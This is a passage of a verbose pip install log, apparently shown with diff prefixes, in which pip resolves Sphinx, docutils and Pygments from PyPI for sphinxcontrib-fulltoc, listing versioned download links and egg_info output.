https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.0b2.tar.gz#md5=6bf13da4fd0542cc85705d1c4abd3c0a (from https://pypi.python.org/simple/Sphinx/), version 1.0b2 is a pre-release (use --pre to allow). + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b1.tar.gz#md5=67bea6df63be8e2a76ebedc76d8f71a3 (from https://pypi.python.org/simple/Sphinx/), version 1.2b1 is a pre-release (use --pre to allow). + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b2.tar.gz#md5=4cd81aac59d93a69278873e345fe99a5 (from https://pypi.python.org/simple/Sphinx/), version 1.2b2 is a pre-release (use --pre to allow). + + Ignoring link https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.2b3.tar.gz#md5=10d0bffdf01f0eddd57b9e0af0623457 (from https://pypi.python.org/simple/Sphinx/), version 1.2b3 is a pre-release (use --pre to allow). + + Ignoring link http://bitbucket.org/birkenfeld/sphinx/get/tip.gz#egg=Sphinx-dev (from https://pypi.python.org/simple/Sphinx/), version dev doesn't match >=0.6 + + Using version 1.1.3 (newest of versions: 1.1.3, 1.1.2, 1.1.1, 1.1, 1.0.8, 1.0.7, 1.0.6, 1.0.5, 1.0.4, 1.0.3, 1.0.2, 1.0.1, 1.0, 0.6.7, 0.6.6, 0.6.5, 0.6.4, 0.6.3, 0.6.2, 0.6.1, 0.6) + + Downloading from URL https://pypi.python.org/packages/source/S/Sphinx/Sphinx-1.1.3.tar.gz#md5=8f55a6d4f87fc6d528120c5d1f983e98 (from https://pypi.python.org/simple/Sphinx/) + + Running setup.py egg_info for package Sphinx + + running egg_info + + creating pip-egg-info/Sphinx.egg-info + + writing requirements to pip-egg-info/Sphinx.egg-info/requires.txt + + writing pip-egg-info/Sphinx.egg-info/PKG-INFO + + writing top-level names to pip-egg-info/Sphinx.egg-info/top_level.txt + + writing dependency_links to pip-egg-info/Sphinx.egg-info/dependency_links.txt + + writing entry points to pip-egg-info/Sphinx.egg-info/entry_points.txt + + writing manifest file 'pip-egg-info/Sphinx.egg-info/SOURCES.txt' + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'pip-egg-info/Sphinx.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + no previously-included directories found matching 'doc/_build' + + writing manifest file 'pip-egg-info/Sphinx.egg-info/SOURCES.txt' + + Source in /home/isis/.virtualenvs/python-gnupg/build/Sphinx has version 1.1.3, which satisfies requirement Sphinx>=0.6 (from sphinxcontrib-fulltoc) + +Downloading/unpacking docutils>=0.6 (from sphinxcontrib-fulltoc) + + Getting page https://pypi.python.org/simple/docutils/ + + URLs to search for versions for docutils>=0.6 (from sphinxcontrib-fulltoc): + + * https://pypi.python.org/simple/docutils/ + + Analyzing links from page https://pypi.python.org/simple/docutils/ + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.10.tar.gz#md5=d8d4660c08302c791b2d71a155a2f4bc (from https://pypi.python.org/simple/docutils/), version: 0.10 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.11.tar.gz#md5=20ac380a18b369824276864d98ec0ad6 (from https://pypi.python.org/simple/docutils/), version: 0.11 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.5.tar.gz#md5=b49007d4fb3a24305cc8f30313684925 (from https://pypi.python.org/simple/docutils/), version: 0.3.5 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.7.tar.gz#md5=fdd192d62bf5aebac6258a7ae8af5123 (from https://pypi.python.org/simple/docutils/), version: 0.3.7 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.9.tar.gz#md5=3b6727e4f53e88ae7cea7c296694fc6c (from https://pypi.python.org/simple/docutils/), version: 0.3.9 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.tar.gz#md5=d8c78dd09610055431ac8df30312bdb9 (from https://pypi.python.org/simple/docutils/), version: 0.3 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.4.tar.gz#md5=0fe7b42bb3c2aa3680fe30f9a5fbf712 (from https://pypi.python.org/simple/docutils/), version: 0.4 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.5.tar.gz#md5=dd72dac92fc8e3eb0f48c3effeef80f6 (from https://pypi.python.org/simple/docutils/), version: 0.5 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.6.tar.gz#md5=5c615479a965bc773892f585e0e08119 (from https://pypi.python.org/simple/docutils/), version: 0.6 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.7.tar.gz#md5=9aec716baf15d06b5aa57cf8d5591c15 (from https://pypi.python.org/simple/docutils/), version: 0.7 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.8.1.tar.gz#md5=2ecf8ba3ece1be1ed666150a80c838c8 (from https://pypi.python.org/simple/docutils/), version: 0.8.1 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.8.tar.gz#md5=f57474b69bfbf0eb608706a104f92dda (from https://pypi.python.org/simple/docutils/), version: 0.8 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.9.1.tar.gz#md5=b0d5cd5298fedf9c62f5fd364a274d56 (from https://pypi.python.org/simple/docutils/), version: 0.9.1 + + Found link https://pypi.python.org/packages/source/d/docutils/docutils-0.9.tar.gz#md5=2f79520bbbdb89b1a9b5f29832b37123 (from https://pypi.python.org/simple/docutils/), version: 0.9 + + Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.5.tar.gz#md5=b49007d4fb3a24305cc8f30313684925 (from https://pypi.python.org/simple/docutils/), version 0.3.5 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.7.tar.gz#md5=fdd192d62bf5aebac6258a7ae8af5123 (from https://pypi.python.org/simple/docutils/), version 0.3.7 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.9.tar.gz#md5=3b6727e4f53e88ae7cea7c296694fc6c (from https://pypi.python.org/simple/docutils/), version 0.3.9 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.3.tar.gz#md5=d8c78dd09610055431ac8df30312bdb9 (from https://pypi.python.org/simple/docutils/), version 0.3 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.4.tar.gz#md5=0fe7b42bb3c2aa3680fe30f9a5fbf712 (from https://pypi.python.org/simple/docutils/), version 0.4 doesn't match >=0.6 + + Ignoring link https://pypi.python.org/packages/source/d/docutils/docutils-0.5.tar.gz#md5=dd72dac92fc8e3eb0f48c3effeef80f6 (from https://pypi.python.org/simple/docutils/), version 0.5 doesn't match >=0.6 + + Using version 0.11 (newest of versions: 0.11, 0.10, 0.9.1, 0.9, 0.8.1, 0.8, 0.7, 0.6) + + Downloading from URL https://pypi.python.org/packages/source/d/docutils/docutils-0.11.tar.gz#md5=20ac380a18b369824276864d98ec0ad6 (from https://pypi.python.org/simple/docutils/) + + Running setup.py egg_info for package docutils + + running egg_info + + creating pip-egg-info/docutils.egg-info + + writing pip-egg-info/docutils.egg-info/PKG-INFO + + writing top-level names to pip-egg-info/docutils.egg-info/top_level.txt + + writing dependency_links to pip-egg-info/docutils.egg-info/dependency_links.txt + + writing manifest file 'pip-egg-info/docutils.egg-info/SOURCES.txt' + + warning: manifest_maker: standard file '-c' not found + + + + reading manifest file 'pip-egg-info/docutils.egg-info/SOURCES.txt' + + reading manifest template 'MANIFEST.in' + + warning: no files found matching 'MANIFEST' + + warning: no files found matching '*' under directory 'extras' + + warning: no previously-included files matching '.cvsignore' found under directory '*' + + warning: no previously-included files matching '*.pyc' found under directory '*' + + warning: no previously-included files matching '*~' found under directory '*' + + warning: no previously-included files matching '.DS_Store' found under directory '*' + + writing manifest file 'pip-egg-info/docutils.egg-info/SOURCES.txt' + + Source in /home/isis/.virtualenvs/python-gnupg/build/docutils has version 0.11, which satisfies requirement docutils>=0.6 (from sphinxcontrib-fulltoc) + +Downloading/unpacking Pygments>=1.2 (from Sphinx>=0.6->sphinxcontrib-fulltoc) + + Getting page https://pypi.python.org/simple/Pygments/ + + URLs to search for versions for Pygments>=1.2 (from Sphinx>=0.6->sphinxcontrib-fulltoc): + + * https://pypi.python.org/simple/Pygments/ + + Analyzing links from page https://pypi.python.org/simple/Pygments/ + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.10-py2.3.egg#md5=ab204150f3c7745e4db10b9f9d8c5b03 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.11-py2.3.egg#md5=bf04ca995de7321f5df3f0b58e45726d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.11.1-py2.3.egg#md5=4802519f36d9c6027534a45a8e6bcc68 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.5-py2.3.egg#md5=17fadb28442619f29890ac731a96a533 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.5.1-py2.3.egg#md5=34195e47304f73e5a3a62ec3b59a8bab (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.6-py2.3.egg#md5=01074a45182979ca396d84810563a17c (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.7-py2.3.egg#md5=bf72eed4be1b87d794c0d95ab29cf1a9 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.7.1-py2.3.egg#md5=29d1bf5022387f08be4bb27d675fb65d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.8-py2.3.egg#md5=31ecde12558caf9e123762b4a4216e7c (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.8.1-py2.3.egg#md5=74564b1f6bd66d1c48ed515b39d21c45 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-0.9-py2.3.egg#md5=946ebc41c5886244816f42c4b69fb971 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.3/P/Pygments/Pygments-1.0-py2.3.egg#md5=59bd7f7c7ada6838c3f3da34e34fe807 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.10-py2.4.egg#md5=64cd2373677945c6b1a4fc6443dddcf4 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.11-py2.4.egg#md5=3c571502b55a6002886722ad0350ce84 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.11.1-py2.4.egg#md5=52d7a46a91a4a426f8fbc681c5c6f1f5 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.5-py2.4.egg#md5=ffbef7404026fc4aeadec89cadbf0090 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.5.1-py2.4.egg#md5=d19191cef697fbe86fb77798b5c84c04 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.6-py2.4.egg#md5=45260de64626d97e11aa2dfdb1bf3ef1 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.7-py2.4.egg#md5=991a04ebc3bd84f2c55e2c9aafdb9685 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.7.1-py2.4.egg#md5=483d1ee9525e3243d83c2f9a95b8e493 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.8-py2.4.egg#md5=2433de424e96cf9c5707ee7f31f61047 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.8.1-py2.4.egg#md5=97bd47b9fcef37b8fc44dbfde8721cad (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-0.9-py2.4.egg#md5=0f885e4d7c9be64976b897cf89aae288 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.0-py2.4.egg#md5=7498b5424b5a16c1be956e4f77e7fd04 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.1-py2.4.egg#md5=729a0cfb8c5c9fbff6d148c5e829fd9d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.1.1-py2.4.egg#md5=a11e234936cc0daf238a0c1a7fddfdad (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.2-py2.4.egg#md5=48f8645cfb2452da94851195f8ad9b45 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.2.1-py2.4.egg#md5=c5fd87cf9eba189d809b08f8ab414454 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.2.2-py2.4.egg#md5=771eab6c53105b160acf4e5583894201 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.3-py2.4.egg#md5=c2e988a387b1e71837485602defe3c47 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.3.1-py2.4.egg#md5=5e9519be1acd4d1b14937295d55bdab9 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.4/P/Pygments/Pygments-1.4-py2.4.egg#md5=619325b28c60a1ac96ba1c9b301149c6 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.10-py2.5.egg#md5=78b66644604e786cb096e4250ec3a896 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.11-py2.5.egg#md5=0c8e73d3a808f8d32b97ea7e90fc36f6 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.11.1-py2.5.egg#md5=fde2a28ca83e5fca16f5ee72a67af719 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.5-py2.5.egg#md5=d046e571f0ec37fe0b53d18fb85fca7e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.5.1-py2.5.egg#md5=261d5ace71cb52db9838cd431cf7e06b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.6-py2.5.egg#md5=d03bce826b82f9dddfaebe3f00ffb71b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.7-py2.5.egg#md5=6b18972281ac104089cae70ac3d64c73 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.7.1-py2.5.egg#md5=60f739470ac24c4e3fa9e855ea39b47e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.8-py2.5.egg#md5=b2e5ef665c54ebed555535a6e740865b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.8.1-py2.5.egg#md5=7be7ada4df32c8de40e59bae7730d75d (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-0.9-py2.5.egg#md5=67e5ace0841016409084ca1833a55c90 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.0-py2.5.egg#md5=7e39d44a5b9ec0e037714863d5c6a2e6 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.1-py2.5.egg#md5=b80e6047b4a0b891c3dd51a337f82fa8 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.1.1-py2.5.egg#md5=f30d1b35a1df68c57788b0cad8e9d9b7 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.2-py2.5.egg#md5=15ff450d42316fe4c523d7ff7fcfe1eb (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.2.1-py2.5.egg#md5=0b3df89be7ff4ef3ac4c1526e90b70d8 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.2.2-py2.5.egg#md5=bbb12b2aba148e69923c7143d2af73bd (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.3-py2.5.egg#md5=ad4dd7aa13adfa5fec0f3d4b028b2aa5 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.3.1-py2.5.egg#md5=16e57c826292d420151ea95498f0d1f4 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.5/P/Pygments/Pygments-1.4-py2.5.egg#md5=c8979b9844ad9e39aeaf9469185a70a4 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.0-py2.6.egg#md5=ac2f4555581eab7e701826aea25f0064 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.1-py2.6.egg#md5=414937b8a0436aa172da557cab645fff (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.1.1-py2.6.egg#md5=310114f94710d28910fe2ed36bb79c8c (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.2-py2.6.egg#md5=cf5c76451abb9a4cd70770992517646e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.2.1-py2.6.egg#md5=ab59806c94e95dab943bfd395f651013 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.2.2-py2.6.egg#md5=4c78e542315e7ef3a60a265b7eba107e (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.3-py2.6.egg#md5=25905d606bd47ca2e062a17e4319537f (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.3.1-py2.6.egg#md5=05270ee059c038407364b28993980960 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.4-py2.6.egg#md5=306241dd68799753cdb4a2c9ce8e883a (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.5-py2.6.egg#md5=359d667ed004b6d1bee20917a7d06a7b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.6-py2.6.egg#md5=2584ae5795d01cefbff0744136df3f65 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.6/P/Pygments/Pygments-1.6rc1-py2.6.egg#md5=5c733e2bf7067a2cef1e4c066339d0dd (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.4-py2.7.egg#md5=acbdde4dae30efaba8cfa86dcb6070f2 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.5-py2.7.egg#md5=8ea02c2eafb2580336b7637be629f7ce (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.6-py2.7.egg#md5=1e1e52b1e434502682aab08938163034 (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Skipping link https://pypi.python.org/packages/2.7/P/Pygments/Pygments-1.6rc1-py2.7.egg#md5=cb27d1ade95d892e4bebe2b3de16618b (from https://pypi.python.org/simple/Pygments/); unknown archive format: .egg + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.10.tar.gz#md5=1f24bee773010d0d53690a6f4bdc8bdb (from https://pypi.python.org/simple/Pygments/), version: 0.10 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.1.tar.gz#md5=a7dc555f316437ba5241855ac306209a (from https://pypi.python.org/simple/Pygments/), version: 0.11.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.tar.gz#md5=5c27a000483079643715515b1b78c6df (from https://pypi.python.org/simple/Pygments/), version: 0.11 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.1.tar.gz#md5=0a150344fa1342d99d2cd21fdca46a4c (from https://pypi.python.org/simple/Pygments/), version: 0.5.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.tar.gz#md5=257bf399b12b815a7f18c9381dd53611 (from https://pypi.python.org/simple/Pygments/), version: 0.5 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.6.tar.gz#md5=20565d0c088af98c36033bebfdfe5f09 (from https://pypi.python.org/simple/Pygments/), version: 0.6 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.1.tar.gz#md5=8b5b50fb53ce39f94dbcf7040c0a441a (from https://pypi.python.org/simple/Pygments/), version: 0.7.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.tar.gz#md5=31df83fbb7bc7b5822f66e932b1633e9 (from https://pypi.python.org/simple/Pygments/), version: 0.7 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.1.tar.gz#md5=f71971cbe9db538a40ea808ac5da3dc0 (from https://pypi.python.org/simple/Pygments/), version: 0.8.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.tar.gz#md5=037b8f65d36b8f283d135dac17ec1bf8 (from https://pypi.python.org/simple/Pygments/), version: 0.8 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.9.tar.gz#md5=8cdce901a66c0febb576955e90814485 (from https://pypi.python.org/simple/Pygments/), version: 0.9 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.0.tar.gz#md5=70c40ff5331460cabfcb24f86a8d451d (from https://pypi.python.org/simple/Pygments/), version: 1.0 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.1.tar.gz#md5=80ac64669a75e2d6647822b2778e38c8 (from https://pypi.python.org/simple/Pygments/), version: 1.1.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.tar.gz#md5=af52c60ae9f5906a92e4102e9076f6a0 (from https://pypi.python.org/simple/Pygments/), version: 1.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.2.1.tar.gz#md5=f23d04efa2d346c52656a42a396d6442 (from https://pypi.python.org/simple/Pygments/), version: 1.2.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.2.2.tar.gz#md5=920e706a817437eae3a1406380421a3d (from https://pypi.python.org/simple/Pygments/), version: 1.2.2 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.2.tar.gz#md5=aa965efa5eb85203052afe7baa24e2d3 (from https://pypi.python.org/simple/Pygments/), version: 1.2 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.3.1.tar.gz#md5=54be67c04834f13d7e255e1797d629a5 (from https://pypi.python.org/simple/Pygments/), version: 1.3.1 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.3.tar.gz#md5=f5b7a55170243a78b9f41e3cf186d2da (from https://pypi.python.org/simple/Pygments/), version: 1.3 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.4.tar.gz#md5=d77ac8c93a7fb27545f2522abe9cc462 (from https://pypi.python.org/simple/Pygments/), version: 1.4 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.5.tar.gz#md5=ef997066cc9ee7a47d01fb4f3da0b5ff (from https://pypi.python.org/simple/Pygments/), version: 1.5 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6.tar.gz#md5=a18feedf6ffd0b0cc8c8b0fbdb2027b1 (from https://pypi.python.org/simple/Pygments/), version: 1.6 + + Found link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.6rc1.tar.gz#md5=633fbb59d2f05acedcafd8cd851d0935 (from https://pypi.python.org/simple/Pygments/), version: 1.6rc1 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.10.tar.gz#md5=1f24bee773010d0d53690a6f4bdc8bdb (from https://pypi.python.org/simple/Pygments/), version 0.10 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.1.tar.gz#md5=a7dc555f316437ba5241855ac306209a (from https://pypi.python.org/simple/Pygments/), version 0.11.1 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.11.tar.gz#md5=5c27a000483079643715515b1b78c6df (from https://pypi.python.org/simple/Pygments/), version 0.11 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.1.tar.gz#md5=0a150344fa1342d99d2cd21fdca46a4c (from https://pypi.python.org/simple/Pygments/), version 0.5.1 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.5.tar.gz#md5=257bf399b12b815a7f18c9381dd53611 (from https://pypi.python.org/simple/Pygments/), version 0.5 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.6.tar.gz#md5=20565d0c088af98c36033bebfdfe5f09 (from https://pypi.python.org/simple/Pygments/), version 0.6 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.1.tar.gz#md5=8b5b50fb53ce39f94dbcf7040c0a441a (from https://pypi.python.org/simple/Pygments/), version 0.7.1 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.7.tar.gz#md5=31df83fbb7bc7b5822f66e932b1633e9 (from https://pypi.python.org/simple/Pygments/), version 0.7 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.1.tar.gz#md5=f71971cbe9db538a40ea808ac5da3dc0 (from https://pypi.python.org/simple/Pygments/), version 0.8.1 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.8.tar.gz#md5=037b8f65d36b8f283d135dac17ec1bf8 (from https://pypi.python.org/simple/Pygments/), version 0.8 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-0.9.tar.gz#md5=8cdce901a66c0febb576955e90814485 (from https://pypi.python.org/simple/Pygments/), version 0.9 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.0.tar.gz#md5=70c40ff5331460cabfcb24f86a8d451d (from https://pypi.python.org/simple/Pygments/), version 1.0 doesn't match >=1.2 + + Ignoring link https://pypi.python.org/packages/source/P/Pygments/Pygments-1.1.1.tar.gz#md5=80ac64669a75e2d6647822b2778e38c8 (from https://pypi.python.org/simple/Pygments/), version 1.1.1 doesn't match >=1.2 + + Ignoring link 